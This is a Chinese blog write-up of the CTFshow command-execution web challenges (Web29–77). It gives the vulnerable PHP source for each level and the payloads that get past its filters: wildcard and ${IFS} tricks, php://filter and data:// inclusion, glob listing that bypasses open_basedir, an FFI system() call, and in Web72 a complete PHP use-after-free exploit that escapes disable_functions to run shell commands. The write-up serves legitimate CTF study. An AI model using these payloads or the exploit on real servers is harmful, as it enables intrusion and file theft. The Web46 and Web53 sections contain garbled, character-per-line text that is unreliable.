CTFshow——命令执行

  • Post author:
  • Post category:其他




CTFshow——命令执行



Web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以看到,flag已经被过滤掉,先查看目录

我们可以使用通配符绕过flag的过滤

在这里插入图片描述



Web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }   
}else{
    highlight_file(__FILE__);
} 

这次除了flag同时还过滤了system函数和php

虽然system函数被过滤,但是在php中有三个专门执行外部命令的函数system(),exec(),passthru(),换一个函数进行查看目录,使用通配符即可

(记得将把php也换上通配符)

在这里插入图片描述



Web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

查看源码,被禁用掉的关键词有

flag,system,php,cat,sort,shell,点号、空格、单引号

发现之前所使用的passthru()函数并不影响。所以使用passthru()函数进行尝试,发现可以使用

?c=passthru("ls");
?c=passthru("nl%20`ls`");//不可行原因是因为%20经过url解码之后的结果是空格,而空格已经被过滤掉了
?c=passthru("nl%09`ls`");//解决方法就是将空格用其他组字符替换掉

除此之外,

绕过cat使用

tac more less head tac tail nl od(二进制查看) vi vim sort uniq

绕过空格用

%09 <> ${IFS} $IFS$9 {cat,fl*} %20

flag绕过可以用通符代替

在这里插入图片描述



Web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

可以看到flag,system,php,cat,sort,shell,点号、空格、单引号,echo,分号,左括号都被过滤掉了

经过查找资料我发现在php中存在一个独有的一个协议php://filter,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter(过滤器),可以很容易想到这个协议可以用来过滤一些东西。通过查找,这个函数可以使用多个参数达到不同的目的

名称 描述 备注
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

同时read和write还可以对代码进行加密和解密操作

?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

先使用?>闭合代码,然后使用php://filter协议将目标文件进行base64编码,之后直接读取目标文件

在这里插入图片描述

将得到的密码进行base64解码即可得到正确答案

在这里插入图片描述



Web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

双引号也被过滤掉了

我们将上一题的变量名改为其他类型不使用双引号即可

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

之后再进行base64解码即可

在这里插入图片描述



Web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

冒号也被过滤了,由于上一题payload中只有php://filter协议里出现过冒号,所以不影响使用



Web35

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤新增了尖括号,继续使用php://filter协议同上



Web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

等号与数字被过滤,我们将原来的数字再替换成字符即可

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php



Web37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }    
}else{
    highlight_file(__FILE__);
} 

查看代码发现过滤了flag,还使用了include文件包含



文件包含:PHP伪协议

实际上这几道题考查的属于文件包含的范畴,是考察PHP伪协议

PHP伪协议就是PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。


data://

同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

————————————————

可以参考CSDN博主「LetheSec」的文章:https://blog.csdn.net/qq_42181428/article/details/87090539

所以本题可以使用data://协议

?c=data://text/plain,<?php system("tac f*");



Web38

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
} 

还是文件包含,但多过滤了php,可以利用base64编码绕过

在这里插入图片描述

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=

之后查看源码即可



Web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }  
}else{
    highlight_file(__FILE__);
} 

data://text/plain相当于执行了php语句而.php由于前面的语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,就不在起作用了

?c=data://text/plain,<?= system("cat fla*");?>



web40

 <?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了很多符号,比如引号,美元符等,可以构造无参数函数

无参数是指a(),a(b())等,而不能是a(‘b’)

  • print_r(scandir(‘.’));查看当前目录下的所有文件名

  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。

  • current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

先用print_r(scandir(current(localeconv())));打印出当前目录下文件

在这里插入图片描述

flag.php在倒数第二个,直接用next(array_reverse());

在这里插入图片描述



Web41

 <?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

这个题我,研究一个星期,就是出不来,yu师傅的脚本去我也跑不了

最后发现php的版本问题

先把PHP加入环境变量我就不说了

php -v检查php版本(我用的7.3)

然后直接跑脚本system/cat flag.php

至于原理我讲不清楚,可以看大师傅那个视频,我觉得讲的挺清楚的,

给个链接

在这里插入图片描述



Web42

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

这里意思为将标准输出和标准输入都扔到到/dev/null(垃圾箱)中



重定向符号

  • 0表示键盘输入
  • 1表示屏幕输出
  • 2表示错误输出

默认为标准输出重定向,与 1> 相同

而2>&1 意思是把 标准错误输出 重定向到 标准输出,意思是把 标准输出 和 标准错误输出 都重定向到同一文件中

所以为了不让后面的重定向符号执行,就需要把后面截断像“;,%0a,%26以及||`这类都可以

?c=cat flag.php;

在这里插入图片描述



Web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

还是重定向,多过滤了;和cat,那就cat绕过

?c=less flag.php||



Web44

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

增加过滤flag,通配符绕过

?c=less fl*g.php||



Web45

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

增加过滤空格,$IFS绕过空格

?c=less$IFSfl*g.php||



Web46

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

再加$,数字和*




使

<

防止绕过空格,使用<代替



























使







<

















IFS绕过空格

*防止通配符绕过,使用fl’’ag截断绕过

less<fla''g.php||



Web47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了几个Linux的读取方式,网上随便查查找找漏网之鱼

在这里插入图片描述

好了

nl,tac,od,vi vim uniq

均没过滤

tac<fla''g.php||
nl<fla''g.php||
od<fla''g.php||



Web48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

又过滤了几个Linux读取方式,但是nl,tac还能用,和上题差不多



Web49

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

百分号不影响nl,tac继续用



Web50

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

新增了x09和x26,查了一下应该是tab和一个特殊字符,还是不影响,继续拿flag



Web51

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了tac但nl还能继续用



Web52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这次把尖括号去了,这下空格没法过滤了,???不对,他把美元符给我放出来了…那就$IFS

nl${IFS}fl''ag.php||

结果发现常规方法不对???

在这里插入图片描述

好家伙,他这flag不保熟,看看根目录吧

在这里插入图片描述

访问这个flag试试

cp${IFS}/fl''ag${IFS}/var/www/html/a.txt||

因为我尝试直接访问那个flag但是我查不到flag,所以就直接把内容copy到这个目录下保存为a.txt,传完ls看一下存进去没有,存进去之后直接访问a.txt就拿到真的flag了



Web53

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

看一下代码,发现



d

=

s

y

s

t

e

m

(

d = system(






d




=








s


y


s


t


e


m


(





c);也就是说直接把我们传进去c的值放进system之中,用?c=’ls’验证猜想,确实可以

那就可以直接传nl${IFS}fl’’ag.php就可以了



Web54

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这下敌方也开始用通配符了,走我们的路让我们无路可走

但是在仔细看就发现,它实际上是防止截断,那我们就不用这几个函数了,类似上一题,我们直接修改flag.php的文件名称即可

?c=mv${IFS}fla?.php${IFS}a.txt

还是直接访问a.txt



Web55

 <?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

我太菜了算上56,57都还不会,等我整明白了再补上吧



Web58

 <?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

注意传参方式的改变,改为了POST传参

由于没有过滤,我先用了system,出于安全考虑实际上system被过滤掉了,所以改用show_source或是highlight_file还有echo file_get_contents均可

c=highlight_file('flag.php');



Web59

 <?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

看着跟上一题一样,我试了一下,他应该是只过滤了echo file_get_contents

highlight_file还能用



Web60

 <?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

直接试了一下,过滤的不是highlight_file,好像show_source也行

图个省事,后边几个一样的题我就空着了



Web61



Web62



Web63



Web64



Web65



Web66

终于不一样了,

show_source不能用了,但是highlight_file还能用,用完发现不太对

在这里插入图片描述

很显然位置不对,遍历一下目录看一下

c=print_r(scandir("/"));

在这里插入图片描述

发现了flag.txt文件,再试一次

c=highlight_file('/flag.txt');

出来了



Web67

代码还是一样的就不放了

我猜他还是放在了flag.txt里

c=highlight_file('/flag.txt');

果不其然,,,



Web68

这highlight_file禁用的源码都看不了

c=var_dump(scandir("/"));

防止大佬们又改名改目录,先遍历一下

这次回显的话就只能用include和require了

c=include('/flag.txt');



Web69

依然由于禁用highlight_file连源码都看不到

完了,他也不让我用var_dump遍历了,,,

我先图个省事,我赌他的枪里没子弹(还在原来的地方)

嘿,果然没改地方

c=include('/flag.txt');



Web70

error_reporting() 错误控制函数

ini_set()函数

还有highlight_file函数都被禁用了

c=include('/flag.txt');



Web71

终于给源码了

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

将post传的c给s缓冲区然后清除缓冲数据

在这里插入图片描述

可以通过exit提前结束,从而防止缓冲区数据被清除

c=include('/flag.txt');exit(0);



Web72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

源码是一样的,但是找不到flag的文件名和位置,所以必须想办遍历目录找flag位置

存在一个open_basedir限制,这个限制就是限制可以访问的目录,

glob是5.3.0版本起开始生效的一个用来筛选目录的伪协议,它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

遍历获取flag位置,然后include读取时发现没有权限

用uaf脚本命令执行poc,要url编码

<?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);       
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>

原理我不懂我讲不明白

https://blog.csdn.net/weixin_46081055/article/details/121648027?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165104069916781435457811%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165104069916781435457811&biz_id=0



Web73

在这里插入图片描述

用72题的方法遍历目录,可以知道flag在flagc.txt文件中,试一下能不能直接读取

image-20220502003014272

还得强制结束

在这里插入图片描述

得到flag



Web74

和73一样,文件名被改为flagx.php



Web75

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);



Web76

c=try{$dbh = new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach ($dbh->query('select load_file("/flag36d.txt")') as $row){echo ($row[0]) . "|";}$dbh = null;} catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

这两题用了数据库???我没弄明白,把payload先放下了



Web77

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

这里涉及FFI(我不会我不会)

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

之后直接访问1.txt



版权声明:本文为lee_maple原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。